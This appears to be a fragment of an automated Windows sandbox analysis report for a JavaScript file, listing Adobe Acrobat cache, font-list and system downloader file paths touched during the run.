C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\542d1e10-bc60-45af-9bfb-482cc6b0bad2.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2924

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2924

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
16981299741734811290.js